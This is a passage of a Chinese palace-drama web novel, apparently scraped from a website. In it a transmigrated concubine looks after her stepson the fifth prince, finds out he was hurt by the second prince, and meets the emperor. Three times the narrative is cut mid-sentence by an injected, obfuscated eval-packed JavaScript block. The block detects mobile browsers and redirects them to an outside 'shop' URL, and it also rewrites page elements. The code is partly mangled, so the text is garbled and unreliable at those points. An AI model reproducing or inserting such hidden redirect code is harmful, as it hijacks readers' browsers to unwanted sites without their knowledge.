斜前方的二皇子亓轲方才也动了动身子,似有起身之意。他午休时听到小太监传话,母妃从太后宫中回来后便郁郁寡欢,他心里有些焦急,可瞥见苏学士依旧侃侃而谈,终究是顿住了动作,垂下眼睑掩去眸中的急色,重新专注于讲学。 亓轩扭动的幅度越来越大,连带亓轸的书案都跟着轻轻颤动,少年手中的笔一顿,随后将被带偏的笔画狠狠涂黑,面无表情地偏过脑袋,生怕自己忍不住抬脚踹上那晃动的凳子。 与他并排靠窗而坐的是六皇子亓辙,那男孩正伸长了脖颈,眼神迫切地往窗外张望。亓轸暗自翻了个白眼,小结巴又在盼他的母妃了。 顺着亓辙的目光望去,檐下果然立着一位身着紫色宫装的女子,正是六皇子的生母德妃。亓辙自小患有口吃,性子也有些怯懦,德妃疼他疼得紧,自他四岁开蒙入学,八年来风雨无阻,日日亲自来接,文华殿上下早已见怪不怪。 亓轸正欲收回目光,余光却骤然瞥见一抹素白身影,檐下另一侧也站着一位宫妃打扮的女子,身量高挑,正低着头与德妃轻声攀谈,少年定睛一瞧,心头猛地一跳,不是于少微又是谁! 他几乎是下意识地迅速回头,整个人趴在案上,将脸埋进书本里。苏学士的讲学声在耳畔渐渐远去,取而代之的是胸腔里狂跳的心脏,内心的震惊与疑惑似山间的泉水般汨汨往外冒。 她来做什么? 恰好路过?还是与德妃顺路?难道是出了什么事?与他有关吗?是……不打算养他了? 一个个念头在脑海中盘旋,少年甚至不敢深想那个隐隐浮现的答案,荒唐,却又让他莫名警惕,还有一丝说不清道不明的无措。 于少微一眼便认出了站在檐下的德妃,快步上前与人行礼问好。文华殿内,苏学士的讲学声依旧激昂,殿外的两人却陷入了尴尬的沉默,于少微察觉到德妃的拘谨,侧过身温声道:“娘娘是来接六殿下的吗?” 德妃含笑点头,目光望向书房,眼神温柔。 于少微一时语塞,竟不知该如何接话,德妃似是反应过来,柔声回问道:“于婕妤是来接五皇子的吗?” “是,是。”于少微重重点了两下头,连忙顺着话头道,“妾身第一次来,原以为这个时辰该下学了,难道…是我记错了?” “婕妤并未记错,只是夫子今日拖堂了。”德妃的声音依旧温柔似水。 场子再次冷了下来。于少微心里暗自嘀咕这拖堂的夫子,一边绞尽脑汁想找些话题,可话到嘴边又不知如何开口,德妃则静静站着,目光在雨水与书房之间轻轻流转,端得是一派岁月静好。 终于,书房内的讲学声停了,紧接着便传来杂乱的脚步声,德妃立刻越过于少微,快步迎了上去,于少微松了口气,连忙跟着转身,总算下学了。 率先出来的是四皇子亓轩与二皇子亓轲,随身太监早已撑着伞等候在旁,两人路过于少微时,好奇地看了她两眼,便急匆匆地跟着太监走进了雨幕。 紧接着,六皇子亓辙快步跑了出来,直奔德妃,瞧见站在一旁的于少微时,他下意识想躲到母妃身后,可转念一想又硬生生停住,往前挪了半步,仰着小脸看向德妃。 “这是于娘娘,她来接你五兄,快和于娘娘问好。”德妃爱怜地摸了摸儿子的头。 “于,于娘娘,安。”男孩腼腆地说完,便立刻扯了扯德妃的衣袖,显然是想赶紧回去了。 于少微脸上挂着和煦的微笑,柔声夸了他两句,六皇子不好意思地低下了头,德妃对着于少微颔首道:“我们先回了。” “欸,好,娘娘慢走,下雨路滑,您和六殿下仔细些。” 看着母子二人的身影渐渐消失在雨幕中,于少微慢腾腾地转过身,却发现亓轸不知何时已经站在了书房门口,正静静地看着她。 “杵那儿干嘛?不过来?”她的声音轻快极了。 亓轸望着檐下的女子,她双手自然垂在身侧,站姿随意,整个人如檐外斜斜的雨丝,清凌凌的,带着股说不出的松快劲儿,见他依旧站着不动,于少微索性大步走过去,伸手在他眼前晃了晃,语气带着几分疑惑:“发什么愣呢?” 亓轸抬手挡住她晃动的手掌,抿了抿唇,轻声问道:“您怎么来了?” “我怎么不能来?”于少微存心逗他,眼底闪过一丝狡黠。 少年抿紧嘴唇,低下头,不再看她。于少微觉得有些稀奇,这孩子不似前两天刚来时那般拘谨,原以为是个没脾气的,如今瞧着,倒像是个别扭性子。 “自然是来接你的,不然哪个傻子会在下雨天出门乱逛。”于少微用看傻子的眼神看他。 她的表情自然,语气更是理所当然,亓轸按捺住心底翻涌的疑惑与猜忌,一时竟不知该如何回应。 于少微见他垂着眼不说话,便从身后槐序手中接过一个小巧的红木食盒,直接递到他眼皮子底下:“喏,专门给你带的,现在吃还是回去吃?” 视线突然被食盒占据,亓轸下意识地往后背了背手,于少微察觉到他的动作,不由分说将食盒塞进他手里,语气带着几分强硬:“自己的东西,拿好了!” 亓轸有些无措地提着食盒,又看了看面带笑意的于少微,压下心头的繁杂思绪,也换上了一抹浅笑:“儿臣谢过母妃。” “你不好奇里面是什么?”于少微挑眉问道。 亓轸自然好奇,但还是道:“儿臣回去再看,免得打开食盒雨丝溅进去,辜负了母妃的一番心意。” 少年的话说得妥帖,于少微听得颇为受用,点点头道:“你说得对,那我们赶紧回吧,晚膳已经备好了,你直接去我宫里吃了再回去。” 正盘算着回自己寝殿便打开食盒的亓轸不由一愣。 于少微并未察觉他的失神,两步越过他,率先踏入雨幕,溅起的雨水沾湿了两人的袍角,亓轸下意识往旁边挪了挪,又听到前方传来的连声催促:“赶紧的,站在雨里做什么?我看这雨又要下大了,等你半天我都饿了,可不想淋湿了回去还得先换衣服。” 亓轸口中“嗯嗯”应道,快走两步追了上去与人并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849598|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩,沉默了片刻,他还是忍不住解释了一句:“今日夫子拖堂了。” “嗯,我知道。”于少微一心赶路,走着走着,忽然想起方才他欲言又止的模样,便偏过头问道,“今天夫子教了什么?” 亓轸一愣,她怎么突然问这个?不是急着赶路吗? “嗯?今天学了什么?”见他不答,于少微又重复了一遍问题。 “今日讲了《公羊传》。”少年正处于变声期,声音听着有些低哑。 于少微琢磨着要不要回去让厨房给他炖一盅雪梨汤,会有帮助吗?她听说处在变声期的男孩同时也是猛涨期,得让厨房多给人做些有营养得吃食,别到时候长不高个子白瞎了一张好脸。 一边琢磨着,她一边偏头看了眼身旁提着食盒的沉默少年…的耳朵,嘶,比她高了大半个头,看来不需要她操心。 回到自己宫中,于少微嫌弃得看了眼自己沾了泥水的绣鞋,让人给她拿双鞋来换。 亓轸将已经打开的食盒放在桌上,看到换鞋回来的于少微,有些别扭地开口:“下回雨天你别来了。” 于少微夸张地“咦”了一声,“你的意思是不下雨的时候要来吗?” “我,我不是这个意思!”少年瞬间涨红了脸,双手死死攥着食盒提柄,躁得舌头打了结,半天说不出一句完整的辩解。 于少微哪肯放过他,双手捧着心口,故意添了把火:“难怪都说生儿养女能享天伦,咱们五殿下这是实打实关心我呢!” 一旁的青阳等宫人早已憋笑憋得肩膀发颤,纷纷垂着头不敢直视这热闹景象。 “嗳!被人这般记挂着,心里就是熨帖!”于少微又高声来了句。 十四五岁的少年正是脸皮子薄的时候,哪里经得住这般调侃,亓轸耳根红得快要滴血,双眸在灯火下亮得惊人,透出的绿意似沁人的翡翠,他梗着脖子瞪向于少微,像是要在她脸上盯出个洞来。 “吃饼吃饼!”于少微见好就收,从食盒里拎起一个红绫馅饼塞进他嘴里,自己也抓起一个,转身就溜到了几步开外。 亓轸松开攥得发红的手指,拿下口中的馅饼,狠狠咬了一大口,腮帮子鼓鼓的,带着几分泄愤的意味。嚼了两口,他干脆一屁股坐下,目光沉沉地盯着远处已经啃了半个饼子的于少微,等着开饭。 于少微瞧着他这副别扭模样,乐得哈哈大笑,结果笑得太急,不小心被饼屑呛得直咳嗽,又不得不捂着胸口猛拍。亓轸见状,先槐序她们一步将茶杯递到她手里,看见人咳得满面通红的样子,没好气道:“您就不能慢点吃?小心把心肝肺都咳出来。” 也不知你这没心没肺的,到底有没有心肝,最后这句他在心里嘀咕。 于少微压根不理会他阴阳怪气的腔调,将喝空的茶杯塞回他手里,趾高气昂地吩咐:“快去,再给我倒一杯!” 亓轸看着手中的空杯,又看了看她理直气壮的模样,脸上露出一丝难以言喻的表情,他真是猪油蒙了心,才会觉得这女人另有所图,整日里呲着牙傻乐,脸皮厚得堪比城墙,这样的人,能有什么阴谋诡计? 于少微看着少年倒茶的背影,不知想到了什么,面上笑容渐渐淡去,亓轸端着倒好的茶水回来,敏锐地察觉到她情绪的变化,刚刚放下的心又猛地提了起来,语气里带着自己都未察觉的小心翼翼:“茶来了,您喝吗?” “喝!”于少微猛地回过神,一把夺过茶杯,留下一串鹅鹅鹅的笑声扬长而去。 被吓到的少年愣在原地捏紧了拳头,愤愤地瞪着她远去的背影,他真是瞎了眼才去担心她! 8. 第八章 方才将人惹恼了,亓轸吃饭的时候话也不说两句,闷头夹菜的样子看着着实好玩。 早熟的少年染上几分难得的孩子气,于少微捧着饭碗肯定自己的成果,并当桌放言自己以后都要去接他下学。 亓轸舀汤的动作顿了顿,继续默不作声的低头喝汤,待将碗里的汤喝干净,才盯着空空的碗底有些不情不愿道:“下雨天就不要来了。” 言罢又警惕地看了她一眼。 于少微被他的动作逗笑,张狂的笑声才泄出一个音,她就看见旁边少年的肩膀一垮。亓轸恨不得把舌头给咬下来,心里羞耻极了,他就知道会这样!他就不该去接这个话! 于少微知道亓轸脸皮薄,连忙抬手捂住嘴,硬生生将剩下的笑声咽了回去,又亲自动手将骨汤里的大棒骨舀到他碗里,正色道:“都听我们五殿下的。” 亓轸拿筷子的手一顿,偏过身子朝于少微作了个辑,有样学样:“婕妤娘娘圣明。” 少年动作有些僵硬,嘴上虽说着揶揄的话,眼睛却不敢看她,于少微弯着眼睛笑眯眯地盯着人看,亓轸受不了她直白的目光,僵硬地站起来行了个僵硬的礼,用更僵硬的语气道:“儿臣先回去了。” 于少微扫了眼桌子,确定其吃了不少,心情颇好的冲人点点头:“晚上早点睡,睡前的牛乳别忘了喝。” * 今日难得的清闲,于少微用完早膳闲着无事,便带着宫人去御花园遛弯,正走着,远远瞧见瑛嫔、瑾嫔两姊妹挎着小巧的竹篮,正弯腰在花丛间细细寻觅着什么。 于少微心头好奇,脚步不自觉地凑了上去,笑着搭话:“两位姐姐这是在寻什么好东西?这般专注。” 瑛嫔、瑾嫔见是她,脸上绽开笑意,瑾嫔直起身来,晃了晃手里的竹篮:“妹妹来得正好!这几日凤仙花开得旺,我们正采来预备染指甲呢。” 瑛嫔也笑着附和:“妹妹若是不嫌弃,便一同来玩?” 于少微觉得新鲜,当即应了,不多时便分到一个玲珑的小竹篮。三人穿梭在花丛间,指尖捻起那艳红粉白的凤仙花瓣,亲亲热热地掐了满满两篮子,随后又一同去了瑛嫔宫中,将花瓣细细挑拣干净,加了明矾捣烂,趁着浆汁新鲜,各自用干净的叶条将指尖缠裹妥当。 指甲缠了叶条抓握不便,午膳便索性推迟了,等待浆汁着色的光景实在无聊,瑛嫔与瑾嫔对视一眼,忽然清了清嗓子,同时唱起了小曲儿,那歌声一高一低,配合得默契十足,听着悦耳极了。 于少微不甘心冷板凳,见状当即站起身来,随手折了根带着嫩叶的枝条,跟着歌声便挥舞起来。她肢体协调性实在算不上好,抱着叶条的“爪子”胡乱挥舞,转起圈来总有股东倒西歪的傻气。 瑛嫔、瑾嫔被她这副模样逗得发笑,歌声断断续续,于少微不满地停下转圈的脚步,佯装发怒:“二位娘娘莫要笑了!断了我跳舞的节奏可怎么好?” 瑾嫔笑得更欢了,捂着嘴道:“什么节奏?你这舞跳得,我可半点节奏都没瞧出来呢!” 瑛嫔也跟着点头,眼里满是笑意:“可不是嘛,倒像是小孩子在撒欢儿。” 于少微朝两人眨眨眼,理直气壮道:“只有懂欣赏的人才能品出其中韵味,看来两位娘娘并非我的伯乐。” 瑾嫔笑得后仰:“你性子比你姑姑好玩,陛下怎么就不把你分到我宫里?” “分到我宫里也行?”瑛嫔十分惋惜。 “二位娘娘不必介怀,我这般妙人走到哪都是惹人喜爱的。”于少微毫不脸红的自夸。 两姊妹笑得抱作一团,缓了好一会儿,才喊人来给她们仨拆指甲上的叶条。温水洗净手后,三双染得艳若丹霞的手凑在一起,你一言我一语地品评起来,最后,于少微凭着那形状姣好、色泽均匀的指甲盖拔得头筹。 两姊妹嚷嚷着要给她庆功,当即吩咐厨房再加几个精致小菜。三人原本就因推迟午膳饿得饥肠辘辘,此刻更是大快朵颐,一顿饭吃得热闹非凡,待酒足饭饱走出宫门时,却发现外头不知何时竟下起了淅淅沥沥的小雨。 “于妹妹等等再走!”瑾嫔追出来留客,“这雨一时半会儿停不了,我和姐姐去拿月琴,咱们接着玩。” 话音刚落,瑛嫔已经抱着一把月琴走了出来,笑着附和:“是啊妹妹,再留会儿吧,我和小瑾教你弹月琴,不难的。” 于少微看着那古朴雅致的月琴,着实有些心动,但转念一想,还是摇了摇头,笑着拒绝:“多谢姐姐们的好意,可我得回去陪我家孩子用晚膳呢。” 瑾嫔“嘘”了一声:“五皇子都已经十四岁了,还需要人陪着吃饭?再说了,你方才在这儿已经吃得饱饱的,回去还能吃得下晚膳?” 瑛嫔也摇头:“你吃不下。” “主要是陪人,我答应我家孩子的。”于少微笑着解释。 “你~家~孩~子”瑾嫔拖长了语调,阴阳怪气的重复于少微的话。 “行吧行吧。”瑛嫔抱着月琴伸手将还想打趣的瑾嫔拉了回去,“于妹妹年纪不大,却是个慈母,我们姐妹还是不要做那劳什子阻挠母子相处的坏人了。” 于少微忽然有点不好意思,连忙朝两人背影又喊了句:“两位姐姐,我明天再来找你们玩!” 两姊妹同时摆了摆手示意知道了。 回到自己宫中,估摸着离亓轸回来还有一会儿,索性将头发拆了去床上躺一会儿。 来到这也有四五天了,日日都有新鲜人事填满光阴,竟让她没多少余暇想起穿越前的日子。 没有人会惦念她,她也不要惦念别人,就连那个世界—— 于少微咬紧下唇,她被送来了这里,那个世界不要她了 那她也不要了。 暖黄的烛火在案头轻轻摇曳,烛泪顺着烛身缓缓滑落,一滴、两滴……于少微望着那跳动的火光,不知怔了多久,直到门外传来隐约的脚步声,她才猛地精神一振,随手扯过系纱帐的素色丝带,三两下将长发松松束起,翻身下床。 走到吃饭的暖阁,于少微边吩咐着上菜边走到亓轸旁边坐下,少年今日穿了身天青色的圆领袍,颜色很是脱俗,衬得人有种雾蒙蒙的神秘,但等少年抬起头来,浑身的气质又陡然清晰,这张脸…这张脸! “你脸怎么了?!”于少微心头一紧,伸手扣住亓轸的下巴,强迫他将头转过来。 “别躲!”于少微手腕用力,亓轸抵抗不了,只得垂眼不去看她。 “你的脸怎么回事?额头,还有眼尾。”于少微眼里笑意全失,目光似鹰隼般来回扫视少年的伤势。 “下雨路滑,不小心摔了一跤,母妃不用担心。”亓轸被迫仰起头,垂着眼帘乖顺的回答了于少微的质问。 “呵,骗谁呢。”于少微嗤笑一声,松开手,目光意有所指地扫过他的衣袍,天青色的料子干干净净,哪里有半分摔在雨里的痕迹。 亓轸反应过来,又道:“是中午摔的,我换了衣服所以……” “中午没下雨。”于少微平静道。 不想再听他瞎编,于少微直接让人将伺候亓轸的太监喊了过来,不等人进门后行礼,直接道:“五皇子脸上的伤是怎么回事?” 小太监下意识去看亓轸,于少微直接将亓轸拽到身后,面无表情道:“问你话的人是我。” 小太监听出了于婕妤声音里的怒意,不敢再隐瞒,当即跪下回道:“是今日皇子们用午膳的时候,二殿下干的。” “禄子!”亓轸着急打断。 于少微反手扯了一下亓轸的衣袖,不耐烦道:“你闭嘴!” 亓轸面色惨白,被迫闭了嘴。 禄子小心翼翼地瞥了眼身后的主子,又飞快地瞟了眼面前怒气冲冲的于少微,权衡之下,只得硬着头皮全盘托出:“殿下中午下学后,正准备去偏殿用午膳,走到半路就被二殿下拦住了,奴才离得远,没听清二殿下说了些什么,只看见殿下一直摇头拒绝,然后二殿下就突然动了手——” 他悄悄抬眼,见于少微的脸色越来越黑,连忙加快语速接着道:“二殿下用力推了殿下一把,殿下没站稳,就撞到了旁边的石柱上!然后二殿下又上前揪住殿下的衣领,说了几句狠话,才拂袖走了,殿下脸上的伤,就是撞在柱子上磕出来的……” 于少微缓缓吁出一口浊气,转身看向亓轸,少年嘴唇抿得发白,额头与眼尾的青紫在白皙肤色的映衬下刺眼极了。 “二皇子和你说了什么?”于少微眼神一错不错地盯着他。 亓轸抿紧嘴唇,沉默代表了他的态度。 于少微看了几秒,随即冷哼一声,头也不回地就出了门。 * 来到德妃的福宁宫,于少微站在廊下,让宫人进去通报。 暖阁内灯火通明,德妃正带着六皇子与三公主用晚膳,见于少微进来了,起身迎了上去,关切道:“于妹妹怎么这副模样就来我这了?” 于少微顺着她的手坐下,一抬眼,双目泛红,泪水盈在眼眶。 “欸哟,这是怎么了?”德妃连忙拍了拍她的手背,转头朝三公主道,“珈儿,快给你于娘娘递条帕子来。” 三公主亓珈立马放下碗,取了块绣着粉桃的软帕,踮着脚尖递到于少微面前,软乎乎的声音带着担忧:“于娘娘别哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849599|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀。” 于少微接过帕子按了按眼角,顺手摸了摸小姑娘柔软的发顶:“多谢三公主,让你见笑了。” “不笑不笑!”亓珈摇摇头,小大人似的拍了拍她的胳膊,“于娘娘有不开心的事就说出来,母妃说憋在心里会生病的。” 于少微被她认真的模样逗得破涕为笑,抬眼看向德妃,带着几分不好意思:“姐姐的女儿真是可人疼。” 德妃将亓珈揽到身前,指尖轻轻梳理着女儿的发丝,并未急着追问缘由,只温柔道:“瞧你这急匆匆的样子,想来是没顾上用晚膳?先陪我们吃点垫垫肚子。”说罢便扬声吩咐宫人再加一副碗筷。 “不,不用麻烦姐姐。”于少微攥着帕子,期期艾艾的开口:“妾今日贸然叨扰,实在是有件事想问问六殿下,还望姐姐莫要见怪。” 坐在一旁的亓辙闻言,抬眼看向于少微,又飞快地瞥了眼自己母妃,脸上带着几分了然。 德妃接收到儿子的目光,心头微微一凛,脸上却依旧维持着温和:“妹妹但说无妨,若是辙儿知道,定会如实告知。” 于少微深吸一口气,将禄子所说的经过缓缓道来,从二皇子拦路,到动手推搡亓轸撞柱,提及少年脸上刺眼的青紫时,她的声音又忍不住哽咽:“姐姐你是不知道,亓轸素来懂事,受了委屈也不肯说,若不是我追问,怕是要将这苦水咽进肚子里……” 自己孩子被欺负,德妃光是想想也觉得心碎,她轻轻拍着于少微颤抖的肩膀,安慰道:“我明日陪你去找皇后娘娘,让娘娘为你和五殿下主持公道。” 于少微没有回答,只是看向六皇子:“六殿下,你当时是否也在?可知二殿下为何要对你五兄动手?” 亓辙下意识看向母妃,德妃朝他鼓励地点点头:“若是知道什么便如实告诉于娘娘。” “我……我也不太清楚。”亓辙结结巴巴地开口,声音带着几分紧张,说完还下意识捂住了嘴,为难地看了看于少微,又看了看德妃。 于少微没有催促,只是静静地看着他,眼底的期盼与委屈交织,让亓辙忽然觉得自己责任重大。他犹豫了一会儿,小小声补充道:“我当时走在前面,离、离得有些远,很、很多话都没听清……就、就听见二皇兄提了句什么‘簪、簪子’,然、然后五皇兄好像摇了头,二皇兄就、就动手推了他……” “簪子?”于少微心头一动,瞬间明白了症结所在。 德妃却依旧一头雾水,连忙追问:“还听到别的了吗?二皇子为何要提簪子?” 亓辙用力摇了摇头,脸上带着几分愧疚:“没、没有了,我听见动静就跑远了,怕、怕二皇兄迁怒……” “够了够了,已经多谢六殿下了。”于少微连忙起身,走到亓辙身前蹲下,轻轻拍了拍他的肩膀,语气满是感激,“若不是你,我还不知要查到何时,真是帮了我大忙。” 亓辙被她夸得满脸通红,回想方才于少微着急落泪的模样,鼓起勇气道:“于娘娘是、是个好母妃,和我娘一、一样好。” 于少微有些不好意思地起身,摸了摸亓辙的头,认真道:“你娘是非常好的娘,你也是非常幸福的孩子。” “我呢?我呢?”三公主听到从她母妃的怀里挣脱出来,围着于少微嚷嚷 “殿下当然是又幸福又漂亮的小公主呀。”于少微弯腰对人笑道。 “于娘娘也好漂亮呀,但我不知道于娘娘幸不幸福,于娘娘你幸福吗?”娇嫩的童音天真无邪。 “别拦在你于娘娘面前,人家要吃饭了,你的饭吃完了吗?”德妃的声音适时响起。 亓珈“噢”了一声,又哼哧哼哧地爬到了自己的位置上坐好。 于少微感激地看向德妃。 “来吃点吧。”德妃颔首微笑。 “谢娘娘好意,现下先不叨扰您和小殿下们了,妾先回去看五殿下的情况,今日实在是打扰了,少微改日再登门道谢。”于少微朝德妃福了一礼,迫不及待地朝门口走。 德妃知道她心里着急,便也不再留客,只叮嘱道:“路上小心些,回去也莫要太过责备孩子,好好与他说说。” “妹妹省得。”于少微应着,转身快步朝门口走去。 亓辙看着她风风火火的背影消失在门外,想起母妃的话,心里暗暗嘀咕:五兄性子倔,于娘娘看着温和,发起火来怕是不好惹,还是祝五兄好运吧…… 他转头看了看吃得满嘴是油的妹妹,又看了看温柔盛汤的母妃,忽然道:“母妃是最温柔的,对不对?” 亓珈正忙着嚼嘴里的菜,闻言含糊不清地大声应道:“对!母妃最温柔啦!” 9. 第九章 亓轸独自坐在桌旁,桌上的菜已经凉透了,外面的天也只余一线昏黄,想起她急匆匆的背影,她去找德妃了,亓轸笃定。 烛台底部积了一层厚厚的蜡,少年随意扫了一眼,走到窗前推开八宝纹窗,清凉的雨水丝丝缕缕扑面而来,弯月孤零零高悬,天已完全黑了。 亓轸背手在屋子里来回走了几圈,他低低的背着新学的文章,背完又坐下给自己倒了杯凉透的茶水,屋里伺候的宫人都让他叫出去了,燃到尽头的蜡烛最后闪烁了两下,屋里也暗了下来,少年安静地坐着,他听到自己的呼吸声。 怡春宫距离德妃的福宁宫来回大约半个时辰的脚程,就算要与人说话,现在都已经过去一个时辰了,为什么人还没有回来? 难道……她察觉到了什么? 亓轸等的肚子有些饿了,中午因为二皇子,午膳并没有用多少,现在如今四周都暗了下来,五感更加敏锐,他感觉自己胃里空空。 犹豫了一会儿,他放弃叫人热菜的想法,摸黑抓了个小窝头慢慢吃着,栗子面与糜子面的甘甜充斥口腔,少年沉默的嚼着手里的小窝头,他又听到了自己咚咚的心跳声。 于少微从德妃宫中出来后,一门心思往回赶,步履匆匆,快的槐序都跟不上她的脚步,走过一条长长的甬道,她记得前面要往左拐,却不想速度太快、地太滑,迎面就与人撞上 “嘶——” “前方是谁?”“谁冲撞了圣驾!” “婕妤!” 乱哄哄一片。 与于少微相撞的宫女马上就捡起提灯站了起来,暖黄的灯光照到于少微的脸上,槐序也跑了过来:“婕妤你没事——奴婢拜见陛下!”槐序一仰头,扑通一声跪下行礼。 “我……”于少微艰难地想撑起身子,她感觉自己好像崴到脚了。 “婕妤…”槐序搭手去扶。 “再来个人去扶她。”一道低沉有力的声音在她上前方响起,于少微借着两人的力站起,又弯腰做势要行礼。 “免礼。”于少微缓缓直起还没弯下的腰,她本来就没打算把这个礼行完。 “谢皇上。”于少微由两人搀着,低低的谢恩。 “你是于婕妤?”庆帝道。 “是臣妾。” “这么晚了为何不在宫中?” “臣妾想看黄昏时的雨打荷叶,所以去御花园走走。”于少微声音有些羞涩。 庆帝发出一声低笑,于少微抬头望了过去,正巧与人对上视线。 女子生的纤细,体态袅袅,如瀑的乌发披散在肩头,有一缕沾在雪白的侧脸,雨珠落在微垂的眼睫,眼神怯怯的,端的是楚楚惹人怜。 庆帝眼神一跳,“可有伤到哪里?”男子低沉的嗓音带上几分关切。 “回陛下,臣妾可能崴到脚了。”于少微垂下眼帘,睫毛上那颗雨珠顺势滚落到她腮边。 庆帝一错不错地盯着她,沉声道:“来人把于婕妤扶上来,去太医院。” 于少微一愣,她…她想先回去…… “婕妤请。”旁边马上有人来引。 她抿了抿唇,低头敛了眉眼,小心踩着太监的背上了皇帝的銮驾。 刚刚坐稳,就感觉肩头一沉,四合香的气息瞬间将她包裹,于少微慢吞吞地起身谢恩,庆帝按住了她的手背,无奈道:“你现在在朕的銮驾上。” 女子轻轻的“啊”了一身,面上一红,支吾道:“臣妾忘了。” 庆帝无言,伸手将她脸侧的湿发别到耳后,打量着女子月色下皎洁的面庞,嘴角勾起一抹轻笑。 于少微由着庆帝送她去太医院,又由着他看着太医给她医治,胡子花白的太医在天子的注视下小心翼翼的捏了几下于少微的脚踝,于少微瞬间吃痛皱眉。 太医连忙看向庆帝道:“婕妤娘娘崴到脚了,不严重,是打算用药敷慢慢修养,还是臣帮娘娘正正骨?会有些痛,但好的快。” “正骨” “用药” 两道声音同时响起,太医看着两人犯起了难。 “陛下……”于少微抬眼看皇帝,有些紧张的抿了抿唇,唇角下方现出两点梨涡。 庆帝无奈:“听她的。” “遵命。”太医一手托起于少微的脚,一手握在足中处轻轻摇晃。 “朕以为你怕疼?”庆帝示意于少微将脑袋偏过来。 “臣妾不怕……啊啊啊啊啊!”太医猛得一掰,于少微猝不及防,痛呼出声。 “还说你不怕。”庆帝听到于少微的惨叫,有些好笑的打趣她。 “…臣妾希,希望好的快一些……”还带着颤音的声音愈来愈小,女子眼眶蓄着泪,瘪着嘴有些委屈。 庆帝伸手抹掉了女子眼角溢出的泪水,轻笑道:“你在这里等一会儿,朕派人送你回去。” 于少微点点头。 “你不留我?”庆帝觉得她答应的过于干脆了。 于少微一愣,垂眸道:“陛下定是有事才这么说,臣妾不敢打扰陛下。” “是个识礼数的,朕确有急事,你且好好养伤,朕下次再来看你。”庆帝满意的看着面前柔顺的女子,起身离开。 庆帝的銮驾离开,太医院重新恢复清静,于少微翘着刚治好的脚,无聊的等着来接她的轿撵,她已然想好,回去先将亓轸洗涮一顿,明日再带着那支珊瑚簪去找文淑妃,然后再…… 思及已发生和待发生的一桩桩事情,于少微突然扑哧一声笑了出来,方才皇上面前纤弱乖顺的女子现下神采奕奕,整个人冒着股说不出的劲儿。 * 晴雨阁 听到院子传来的喧闹声,黑暗中的少年吐出一口浊气,心里随即涌出一股无法言喻的紧张感,他不由自主的猜想,她应该知道缘由了吧,她将会如何处理?会安慰他吗?还是当做无事发生?或许……她此番一无所获?少年握紧拳头,扯出一个无奈的笑,他竟然有点害怕见她。 “这屋里怎么这么暗啊?人呢?都去哪里了?”于少微推开门,撞进满眼的黑。 听到声音的宫人马上提着宫灯进去点灯,于少微借着灯笼的光亮,一眼就看到站在桌旁的少年,心平气和地走过去:“为什么不点灯?” “烧完了。”亓轸轻声道。 于少微斜了他一眼:“不会再喊人去点?” 亓轸语塞,半天才道:“…忘记了……” 屋子重新亮堂起来,宫人一口气点了好几盏,将暖阁角角落落的黑暗一扫而空,暖黄的灯光为站在中间的两人裹上一层朦胧的纱,亓轸莫名觉得空荡荡的胃里泛起暖意。 “还没吃饭呢?”于少微随意扫了眼桌上没动过的菜。 亓轸不知道说什么,只得点点头。 “等我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849600|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亓轸还是点头。 “来人把菜拿下去热一热,再炒一道沙葱羊肉,快一些。”于少微吩咐道,她刚刚在德妃宫里看到这道菜,很香,想吃。 亓轸见她对自己的话没有反应,有些忐忑地看了她一眼。 “你坐。”她又用同样的语气对亓轸道。 “您的脚…?”亓轸注意到于少微走路姿势有些怪。 “回来路上崴了一下……怎么,关心我?”于少微语带调笑,看向亓轸的目光有些玩味。 “……”预开口再问的少年闭上嘴,眼神有些飘忽。 “你先坐着,我去换身衣服过来。”不等少年再开口,于少微直接转身离开。 亓轸起身欲扶,于少微一个眼刀飞过去:“让你坐着你就坐着。” 少年顿住悬在半空的手,面露窘迫,于少微也不去看她,扶着槐序一瘸一拐的去自己的寝宫。 等她将衣服换好,厨房的菜也已经热好上桌,亓轸守着一桌热腾腾的菜,听到声音刚要直起身子,突然想到于少微走时的话,又弯腰坐了回去。 于少微不看他,径直坐下端起碗就开始夹菜,吃了几口见亓轸没有动作,又觑了他一眼:“不饿?” 亓轸摇头,又赶紧点头。 碗里被夹了一筷子沙葱牛肉,于少微没再看他,继续埋头扒饭。 沙葱的香味钻进鼻子里,亓轸偷偷瞅了几眼于少微,见她两眼随饭菜扫动,压根没有搭理他的意思,他不知怎地,先前的饿意消得干干净净,桌上热气腾腾的饭菜闻着有些反胃,胃也抽抽的疼…… 